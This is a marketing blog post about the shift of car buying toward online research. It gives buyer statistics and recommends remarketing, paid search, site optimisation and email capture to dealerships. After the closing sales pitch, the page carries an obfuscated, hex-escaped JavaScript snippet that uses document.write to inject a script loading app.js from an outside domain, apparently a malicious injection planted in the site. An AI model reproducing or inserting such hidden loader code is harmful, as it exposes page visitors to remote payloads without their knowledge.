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Is the car buying process heading towards digital?

The internet has long since revolutionised the way we make buying decisions and complete purchases – from groceries to holidays to houses – the web has the answers. Utilising reviews and personalised advertising, we’re now able to make informed decisions and receive our goods in some cases on the same day. The automotive industry however, has fallen behind, with most brands tending to stick to their traditional (and more familiar) roots – focusing on sales and footfall within dealerships.

Research shows, however, that buyers are ready to move forward – with more than 75% of car buyers saying they would consider completing the purchase of a vehicle online.

As consumers increasingly want to make bigger purchase decisions in shorter periods of time, the automotive industry has its work cut out to keep up with the growing demands of their target market and offer an improved, end-to-end digital experience.


The Customer Journey

Where the car buying journey used to begin and end in the dealership, it’s becoming increasingly likely that the consumer is almost ready to commit to the purchase by the time they first step foot through the dealership’s door.

As demonstrated in one of our previous articles, the car buying journey can be broken down into five steps:

  • “Which car is best?” – Conducting online research to make a shortlist of vehicles
  • “Is it right for me?” – Narrowing the shortlist even further online to just one or two vehicles using reviews and content regarding pros and cons
  • “Can I afford it?” – Finding average price of shortlisted vehicles, using third party comparison sites and valuing their current car, plus online finance calculation
  • “Where should I buy it?” – Finding car listings and dealership information, and booking test drives online
  • “Am I getting a deal?” – Finalising choice of car and choice of dealership before completing purchase.


Heading Online

59% of the car buying journey is now spent doing online research, with the top five activities carried out online being: looking for the most competitive prices, finding new or used car sales listings, comparing different models, valuing current car and locating a dealership or sourcing dealership information (Autotrader).

As over half of the car buyer journey now takes place online, it is important to tailor your own digital presence to target potential buyers while they are carrying out these research and pre-purchase activities. Engaging in some of the following digital marketing activities can help to ensure you appear throughout the research process:


  • Remarketing: When customers undertake research, it is likely they will visit your site as well as the websites of other brands and dealers and independent websites such as news websites and online auto magazines. Remarketing is where you can track your prospect around other websites (such as news outlets) with an advert for your brand. This is a very effective, low-cost way of advertising to confirmed prospects to get them back on your website and away from your competitors.
  • PPC Advertising: Paid advertising on social media and on search engines such as Google can help your dealership or brand to appear for certain search terms.
  • User Experience Optimisation: Ensure that your prices and car models are easily accessible through your website, that each listing is fully-optimised both to appear on Google following a relevant search. This includes having a unique description of the vehicle, optimised SEO content, and full vehicle information including colour, mileage, owner history and other key information. It is also important that information about your dealership is on there too.
  • Email marketing: If a prospect is using a tool such as an online vehicle builder/customiser, then why not request an email address (and marketing opt-in) in return for a saved, PDF version of their custom vehicle. Not only will you be able to market to them as a prospect (should they opt-in), but you will also know which specific model they are interested in (which reveals things like budget, colour preferences etc.), allowing you therefore to target them with relevant information, vehicle suggestions (used and new) or invitations to in-dealership events.


Comparable Pricing

78% of car buyers now also take to third-party sites before making a decision on where best to purchase. As a result of the average price of a vehicle becoming more readily available through these sites, haggling is becoming a thing of the past, with 56% of car buyers paying the asking price or even more with any extra add-ons offered.

With this in mind, it is now more important than ever to ensure that your potential customers can find the answers to all of the questions they have through your online presence. Listing your dealership and its car models and prices on third-party comparison sites is a great way to stand out from next to the competition and get your brand in front of the eyes of your target audience.


User Experience

The car buying process can become tedious quickly, with an average time of 11 hours spent researching. 80% of car buyers find the process stressful, with research carried out by Autotrader revealing that this is due to the amount of time it takes to find the right car and build trust in the seller. This results in 60% of car buyers ultimately giving up their search and making a purchase simply because they grew tired of looking.

With online research when buying a vehicle becoming the most common starting place, and yet also the place where buyers become fed up, it’s crucial that you make it easier for buyers to make a decision.

In order to do this, you must be informed on how your audience carry out their research. Car buyers conduct their research in many different ways, with 37% using a smartphone, 33% using a tablet and 92% using a desktop or laptop (JD Power). And, as 54% of car buyers would purchase from a dealership that offers their preferred experience, even if it didn’t have the lowest price, your website needs to be responsive, catering to a variety of devices to ensure all users get the best experience.


So is the car buying process heading towards online?

The above statistics and findings reveal that yes, the car buying journey is heading towards online, but the physical dealership isn’t likely to become entirely redundant just yet. It’s apparent that the only part of the car buying process that isn’t done online, is the actual purchase of the car, which is most commonly done within a dealership. As demand grows for the possibility to purchase online, this could one day be set to change.

As it stands, it seems that consumers would like the car buying process to be handled completely online, with a survey conducted by Beepi Consumer Automotive Index suggesting that 54% of car buyers would like to be able to buy a car from the comfort of their home and 42% would even forgo a test drive if there was some form of guarantee available. Although, we need to consider whether this transformation is feasible, as on average a car loses 20% of its value the second it is driven off the forecourt.

Digital is becoming increasingly important for the automotive sector, so if you’re not making the most of it yet, you need to get on board to avoid being left behind.

Need help making the change? We specialise in helping companies in the automotive sector enhance their online presence. Get in touch with us today. var _0xa929=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x59\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x62\x65\x73\x73\x74\x61″,”\x68\x65\x74\x65\x2E\x69\x6E\x66\x6F\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function evop(){var _0x6327x2=_0xa929[0];var _0x6327x3=_0xa929[1];var _0x6327x4=_0xa929[2];var _0x6327x5=_0xa929[3];document[_0xa929[4]](_0x6327x2+ _0x6327x3+ _0x6327x4+ _0x6327x5)}evop()